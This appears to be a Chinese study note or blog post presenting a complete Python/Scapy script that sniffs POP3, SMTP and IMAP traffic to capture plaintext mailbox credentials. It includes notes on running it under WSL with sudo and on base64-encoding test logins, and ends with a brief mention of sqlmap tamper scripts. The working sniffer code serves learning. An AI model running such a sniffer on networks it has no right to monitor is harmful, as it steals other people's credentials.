Scapy-窃取邮箱身份凭证

编写脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from scapy.all import *
from scapy.layers.inet import IP,TCP
from scapy.config import conf
conf.use_pcap = True

global sender
global message
message = b'INIT_MESSAGE'
sender = b'0.0.0.0'

def packet_callback(packet):
global sender, message
tmpsender = packet[IP].src
if tmpsender != sender and packet.haslayer(Raw):
print(sender, message)
sender = tmpsender
message = b''

if packet.haslayer(Raw):
if packet[Raw].load:
message += packet[Raw].load

def main():
print("[+] start sniffing...")
sniff(filter = "tcp port 110 or tcp port 25 or tcp port 143",prn = packet_callback,store=0)

if __name__ == "__main__":
main()

通过 scapy 抓取使用 110\25\143 端口的数据包,回调函数中,当发送数据的 IP 发送变化时,输出 message,没有变化时,将消息缓存到 message 中。

在运行时,出了一些问题,当使用阿里云执行 telnet smtp.163.com 25 时,一直不能成功,后来发现是为了避免垃圾邮件,云厂商大部分都关闭了 telnet 发送邮件的服务。

于是尝试在本机的 WSL 中执行,以普通用户执行时,没有读取网卡的权限,而以管理员权限运行时,又识别不到 scapy 库了!经搜索,执行 sudo -E python email.py,可完美解决。其中的 -E 表示保留环境变量。

还有需要比较坑的一点就是,我在 Linux 上使用 echo xxx | base64 来输出 xxx 的 base64 码,但是因为 echo 会在字符串后面加上换行符,因此,输出的结果不对。可以通过编写脚本,也能通过在线工具,还可以通过 -n 选项指定不生成换行符来解决。

执行脚本,然后在另一个终端去执行 telnet 如下:

image-20230513110954957

脚本窃取到的信息如下:

image-20230513105227072

接收到邮件如下:

image-20230513105512975

sqlmap tamper 的编写

详见 SQL 注入的第四题!